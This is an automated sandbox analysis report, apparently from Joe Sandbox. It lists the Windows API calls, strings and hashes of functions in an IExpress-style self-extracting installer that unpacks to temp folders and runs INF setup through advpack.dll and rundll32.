Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Global$Char$NextUnlock$AllocCloseEnvironmentExpandFreeLockOpenQueryStringsUpperValue
String ID:
API String ID: 3949799724-0
Opcode ID: a2f92832c8204ab4c0a5caca65e5200593fbda48d12b9d155a3ff75434b9cded
Instruction ID: 30f8aee9facd0d5103cb0f204fc183f5c24471ef78519dd8229e0d138821ffab
Opcode Fuzzy Hash: a2f92832c8204ab4c0a5caca65e5200593fbda48d12b9d155a3ff75434b9cded
Instruction Fuzzy Hash: 5C514D31E00229DFCB65DF98DC88AAEFBB5FF48700F14402AE911E3261DB719941DB91

Uniqueness

Uniqueness Score: -1.00%

Function 00804169 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 55memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046A0
Part of subcall function 0080468F: SizeofResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046A9
Part of subcall function 0080468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 008046C3
Part of subcall function 0080468F: LoadResource.KERNEL32(00000000,00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046CC
Part of subcall function 0080468F: LockResource.KERNEL32(00000000,?,00802D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 008046D3
Part of subcall function 0080468F: memcpy_s.MSVCRT ref: 008046E5
Part of subcall function 0080468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 008046EF

LocalAlloc.KERNEL32(00000040,?,00000000,00000000,00000105,00000000,008030B4), ref: 00804189
LocalFree.KERNEL32(00000000,?,00000000,00000000,00000105,00000000,008030B4), ref: 008041E7

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Strings

FINISHMSG, xrefs: 00804173, 008041AB
<None>, xrefs: 008041C5

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$FindFreeLoadLocal$AllocLockMessageSizeofStringmemcpy_s
String ID: <None>$FINISHMSG
API String ID: 3507850446-3091758298
Opcode ID: f08164aee133e93267822f27b50a5662bfff4004f6756bbc7a0247fe91adf900
Instruction ID: e25142cc749756425a199e58ffcbf751882d68bf8289c9f7ea0b06f5a5f45380
Opcode Fuzzy Hash: f08164aee133e93267822f27b50a5662bfff4004f6756bbc7a0247fe91adf900
Instruction Fuzzy Hash: 1701F9F13807187BF7A516694C95F7B318EFBD5795F014025B706D12C0D9A9CC0141BA

Uniqueness

Uniqueness Score: -1.00%

Function 008019E0 Relevance: 7.6, APIs: 5, Instructions: 51windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,?), ref: 00801A18
GetDesktopWindow.USER32 ref: 00801A24
LoadStringA.USER32(?,?,00000200), ref: 00801A4F
SetDlgItemTextA.USER32(?,0000083F,00000000), ref: 00801A62
MessageBeep.USER32(000000FF), ref: 00801A6A

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: BeepDesktopDialogItemLoadMessageStringTextWindow
String ID:
API String ID: 1273765764-0
Opcode ID: 2fac98096b187f71944b537bda779522e47db1fab551d455eff1791f2d8d743b
Instruction ID: e5b17c235066bff9fe94fc65de6b5686113eddcab01b59d13b827a6c78ba6fbe
Opcode Fuzzy Hash: 2fac98096b187f71944b537bda779522e47db1fab551d455eff1791f2d8d743b
Instruction Fuzzy Hash: F911A131601219AFDB94EF68ED0CAAE77B8FF49310F108155F916D21D1DA309E11DB96

Uniqueness

Uniqueness Score: -1.00%

Function 008063C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 69fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0080642D
WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0080645B
CloseHandle.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\), ref: 0080647A

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 008063EB

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 1065093856-305352358
Opcode ID: e5be297617a611138a7fc04d2a85eb729812620a1983159732dc67487e60dba5
Instruction ID: 094fa3c248076ea2e1050b38d705d5de76ba651c71a67e258226f7d6233dc9c5
Opcode Fuzzy Hash: e5be297617a611138a7fc04d2a85eb729812620a1983159732dc67487e60dba5
Instruction Fuzzy Hash: E221F071A0021CAFDB90DF29DC85FEA73A8FB45314F0041A9F585E3280EAB45DA48FA4

Uniqueness

Uniqueness Score: -1.00%

Function 008047E0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,00000008,?,00000000,00804E6F), ref: 008047EA
LocalAlloc.KERNEL32(00000040,?), ref: 00804823
LocalFree.KERNEL32(00000000,00000000,00000000,00000010,00000000), ref: 00804847

Part of subcall function 008044B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00804518
Part of subcall function 008044B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 00804554

Strings

C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00804851

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Local$Alloc$FreeLoadMessageString
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 359063898-305352358
Opcode ID: bf4876afe9b8799f66b753a4450a741be5fd432701aff85672990f5f60731954
Instruction ID: b1642b90cd0d0d4f9c13247fadac610ec66a09ff56e02f31388f944fa09ac49c
Opcode Fuzzy Hash: bf4876afe9b8799f66b753a4450a741be5fd432701aff85672990f5f60731954
Instruction Fuzzy Hash: 911106F5244641AFD7D88F389C18F723B5AFB85300B04C929FB82D7381DA368C068660

Uniqueness

Uniqueness Score: -1.00%

Function 00803680 Relevance: 6.1, APIs: 4, Instructions: 51windowCOMMON

Download Yara Rule

APIs

MsgWaitForMultipleObjects.USER32(00000001,?,00000000,000000FF,000004FF), ref: 0080369F
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008036B2
DispatchMessageA.USER32(?), ref: 008036CB
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008036DA

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Message$Peek$DispatchMultipleObjectsWait
String ID:
API String ID: 2776232527-0
Opcode ID: 70a496fac3b4e2b4b8aa0b264c130aae3f49c3652f2baaa6e662871f757465ae
Instruction ID: aae96caa1fe7af2a2c90c883fd80daaf1fad3efc760938d42c141bf738985884
Opcode Fuzzy Hash: 70a496fac3b4e2b4b8aa0b264c130aae3f49c3652f2baaa6e662871f757465ae
Instruction Fuzzy Hash: 9B01677290025977DF704BA65C48EEB767CFBD6B10F140119F915E21C0D561C644D6A5

Uniqueness

Uniqueness Score: -1.00%

Function 00806517 Relevance: 6.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00800000,000007D6,00000005), ref: 0080652A
LoadResource.KERNEL32(00800000,00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?), ref: 00806538
DialogBoxIndirectParamA.USER32(00800000,00000000,00000547,008019E0,00000000), ref: 00806557
FreeResource.KERNEL32(00000000,?,?,00802EE8,00000000,008019E0,00000547,0000083E,?,?,?,?,?,?,?,00000002), ref: 00806560

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Resource$DialogFindFreeIndirectLoadParam
String ID:
API String ID: 1214682469-0
Opcode ID: 070d189e2839da9cfce5e26815ba487332c6f3f70d6fc4cf10e8cbce3380b35b
Instruction ID: 3c72c81543019ec3c4f476fd157d6b764a5289793c5b97ea88a80ee4c51637f4
Opcode Fuzzy Hash: 070d189e2839da9cfce5e26815ba487332c6f3f70d6fc4cf10e8cbce3380b35b
Instruction Fuzzy Hash: F901D172200619BBDB605FA9AC48DBB7A6CFF89765F000129FE15E3190E7718D308AA1

Uniqueness

Uniqueness Score: -1.00%

Function 008065E8 Relevance: 6.0, APIs: 4, Instructions: 46COMMON

Download Yara Rule

APIs

CharPrevA.USER32(?,00000000,00000000,00000001,00000000,00802B33), ref: 00806602
CharPrevA.USER32(?,00000000), ref: 00806612
CharPrevA.USER32(?,00000000), ref: 00806629
CharNextA.USER32(00000000), ref: 00806635

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: Char$Prev$Next
String ID:
API String ID: 3260447230-0
Opcode ID: 743dfcacd64569215fff388aaeff236a44d3b45081976a36d5f6be989d6d0d7f
Instruction ID: 8276f563b9a82a246b3d5c34d512467f6e589c4eeab827baa9662604b48a7dc4
Opcode Fuzzy Hash: 743dfcacd64569215fff388aaeff236a44d3b45081976a36d5f6be989d6d0d7f
Instruction Fuzzy Hash: B9F028320046516EE7765B288C888BBBF9CFFA7354B2901AFE4A2C2041F6160D268661

Uniqueness

Uniqueness Score: -1.00%

Function 008069B0 Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

Part of subcall function 00806FBE: GetModuleHandleW.KERNEL32(00000000), ref: 00806FC5

__set_app_type.MSVCRT ref: 008069C2
__p__fmode.MSVCRT ref: 008069D8
__p__commode.MSVCRT ref: 008069E6
__setusermatherr.MSVCRT ref: 00806A07

Memory Dump Source

Source File: 00000000.00000002.274241875.0000000000801000.00000020.00000001.01000000.00000003.sdmp, Offset: 00800000, based on PE: true

Associated: 00000000.00000002.274236469.0000000000800000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274250427.0000000000808000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.274258120.000000000080C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_800000_e1c29f91924be94ceb6cbc2aecbd34ccdd9b2761d4b1c.jbxd

Similarity

API ID: HandleModule__p__commode__p__fmode__set_app_type__setusermatherr
String ID:
API String ID: 1632413811-0
Opcode ID: 6968237c0c0c0afcbf67d15096bfe56d0c93ce18601b93e9cf85ef6d04f4c1ef
Instruction ID: 54c036c50c62660ac845c03b6ee795f54b046ee74be9483867337aa6ac1ad437
Opcode Fuzzy Hash: 6968237c0c0c0afcbf67d15096bfe56d0c93ce18601b93e9cf85ef6d04f4c1ef
Instruction Fuzzy Hash: F0F0AC70508701CFE7D8AB34ED0A7083B61FB05331B104629E4A1C62F1DF7A95A5CA16

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: v0139395.exePID: 6504, Parent PID: 6488COMMON

Execution Graph

Execution Coverage:	28.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	961
Total number of Limit Nodes:	24

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 009A3BA2 Relevance: 40.6, APIs: 11, Strings: 12, Instructions: 308
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 009A3C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 009A3CDC

Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46A0
Part of subcall function 009A468F: SizeofResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46A9
Part of subcall function 009A468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 009A46C3
Part of subcall function 009A468F: LoadResource.KERNEL32(00000000,00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46CC
Part of subcall function 009A468F: LockResource.KERNEL32(00000000,?,009A2D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46D3
Part of subcall function 009A468F: memcpy_s.MSVCRT ref: 009A46E5
Part of subcall function 009A468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 009A46EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,009A8C42), ref: 009A3D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 009A3E26
FreeLibrary.KERNEL32(00000000,?,009A8C42), ref: 009A3EFF
LocalFree.KERNEL32(?,?,?,?,009A8C42), ref: 009A3F1F
FreeLibrary.KERNEL32(00000000,?,009A8C42), ref: 009A3F40
LocalFree.KERNEL32(?,?,?,?,009A8C42), ref: 009A3F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,009A8C42), ref: 009A3F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,009A8C42), ref: 009A3F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,009A8C42), ref: 009A3FC2

Strings

advpack.dll, xrefs: 009A3F9D
D, xrefs: 009A3C19
USRQCMD, xrefs: 009A3CAD
POSTRUNPROGRAM, xrefs: 009A3D60
ADMQCMD, xrefs: 009A3C9E
DoInfInstall, xrefs: 009A3E1F, 009A3E24, 009A3F68
RUNPROGRAM, xrefs: 009A3D05
SHOWWINDOW, xrefs: 009A3C34
<None>, xrefs: 009A3CC9, 009A3D7D
REBOOT, xrefs: 009A3BE2
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A3E74
no230, xrefs: 009A3E68

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$no230
API String ID: 1032054927-3688397064
Opcode ID: 7c9d4d368d91e69c064ae0c95c19a21a4f68b08c173fb956576ed5c3795fd053
Instruction ID: ddbe2c162e79d3eb1241a8e775dbab83a88621a1255624e277dc7dc748cb7c07
Opcode Fuzzy Hash: 7c9d4d368d91e69c064ae0c95c19a21a4f68b08c173fb956576ed5c3795fd053
Instruction Fuzzy Hash: 5CB1E270A283119FE720DF248845B6B76E8EFC7754F10892AFA95D61D0EB74C944CBD2

Uniqueness

Uniqueness Score: -1.00%

Function 009A1AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 009A1BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 009A1BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP001.TMP\,?,?,00000000,00000001,00000000), ref: 009A1C57
GetPrivateProfileIntA.KERNEL32 ref: 009A1C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,009A1140,00000000,00000008,?), ref: 009A1CB8
GetShortPathNameA.KERNEL32 ref: 009A1D1B

Part of subcall function 009A44B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 009A4518
Part of subcall function 009A44B9: MessageBoxA.USER32(?,?,no230,00010010), ref: 009A4554

Strings

Reboot, xrefs: 009A1C82
Command.com /c %s, xrefs: 009A1D9B, 009A1DE8
DefaultInstall, xrefs: 009A1C74, 009A1C87, 009A1CCE, 009A1CD3, 009A1D2D, 009A1D39
setupapi.dll, xrefs: 009A1D23, 009A1D3A
.INF, xrefs: 009A1BDB
Version, xrefs: 009A1CB3
", xrefs: 009A1B25
AdvancedINF, xrefs: 009A1CAE
.BAT, xrefs: 009A1D83
setupx.dll, xrefs: 009A1D14
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A1BA0
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 009A1D3B

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP001.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-819679500
Opcode ID: 9bedd1479c330c6cdd3259554150dae3dab8a5083220502b6b0a82f2cd336037
Instruction ID: 824f5298c18a3b233fedb5dfe237e1cb014cd0eb77eaebf296f57bda815db45b
Opcode Fuzzy Hash: 9bedd1479c330c6cdd3259554150dae3dab8a5083220502b6b0a82f2cd336037
Instruction Fuzzy Hash: 4FA14770A082186BEB209B24CC44FEA77ADEF97314F140695E595E32D1DBB49E86CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 009A2F1D Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32 ref: 009A2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 009A2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 009A2FC6
DecryptFileA.ADVAPI32 ref: 009A2FE6
FreeLibrary.KERNEL32(00000000), ref: 009A2FF8
SetCurrentDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\IXP001.TMP\), ref: 009A301C

Part of subcall function 009A51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,009A2F4D,?,00000002,00000000), ref: 009A5201

Strings

DecryptFileA, xrefs: 009A2FC0
advapi32.dll, xrefs: 009A2F99
C:\Users\user\AppData\Local\Temp\IXP001.TMP\, xrefs: 009A2FDB, 009A3017

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: C:\Users\user\AppData\Local\Temp\IXP001.TMP\$DecryptFileA$advapi32.dll
API String ID: 2126469477-3023407756
Opcode ID: 3e0264b6a40c505b4d2b90129ab28503f4baafdb9593445597228c105d8121d7
Instruction ID: 90f4a0411778ccd8b80886f84d479301fe9b3b503ee8949df00755bd7afa7b98
Opcode Fuzzy Hash: 3e0264b6a40c505b4d2b90129ab28503f4baafdb9593445597228c105d8121d7
Instruction Fuzzy Hash: 8041B130A242259BDB30AB75AD4977B33ACEF97754F018066F941C2191EF74CE80DAE1

Uniqueness

Uniqueness Score: -1.00%

Function 009A2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileA.KERNELBASE(?,009A8A3A,009A11F4,009A8A3A,00000000,?,?), ref: 009A23F6
lstrcmpA.KERNEL32(?,009A11F8), ref: 009A2427
lstrcmpA.KERNEL32(?,009A11FC), ref: 009A243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 009A2495
DeleteFileA.KERNEL32(?), ref: 009A24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 009A24AF
FindClose.KERNELBASE(00000000), ref: 009A24BE
RemoveDirectoryA.KERNELBASE(009A8A3A), ref: 009A24C5

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: ae46f99657bb06392b751f9d78d3821053da788461b3e545bf092451bfcc7f8c
Instruction ID: 966115d3eda4f1dc32b5aea989e8e2557dbc4797cbdea1bfa560dc880910a366
Opcode Fuzzy Hash: ae46f99657bb06392b751f9d78d3821053da788461b3e545bf092451bfcc7f8c
Instruction Fuzzy Hash: 64318431618640ABC321DB68CD89BEB73ECAFCB315F04492EB595C6190EB349949C7D2

Uniqueness

Uniqueness Score: -1.00%

Function 009A2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,009A6BB0,009A0000,00000000,00000002,0000000A), ref: 009A2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,009A6BB0,009A0000,00000000,00000002,0000000A), ref: 009A2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 009A2C28
CloseHandle.KERNEL32(00000000,?,?,009A6BB0,009A0000,00000000,00000002,0000000A), ref: 009A2C98

Strings

Kernel32.dll, xrefs: 009A2C13
HeapSetInformation, xrefs: 009A2C22

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267024059.00000000009A8000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AA000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.267026716.00000000009AC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_9a0000_v0139395.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 544a79c79cde2d7399a1170338132bab57504c58cb8232e68cd092cc98696b7d
Instruction ID: df2b96680d3cb9402aee664407ec25a826ec9df2e8b3c317d67cffe42852277d
Opcode Fuzzy Hash: 544a79c79cde2d7399a1170338132bab57504c58cb8232e68cd092cc98696b7d
Instruction Fuzzy Hash: 7B11CE312282156BD7206BBDAC88B6F377DAF8B7A4B0500A5FD90D3250DB30DC01D6E1

Uniqueness

Uniqueness Score: -1.00%

Function 009A6F40 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 009A6F45

Memory Dump Source

Source File: 00000001.00000002.267021149.00000000009A1000.00000020.00000001.01000000.00000004.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000001.00000002.267018371.00000000009A0000.00000002.00000001.01000000.00000004.sdmpDownload File
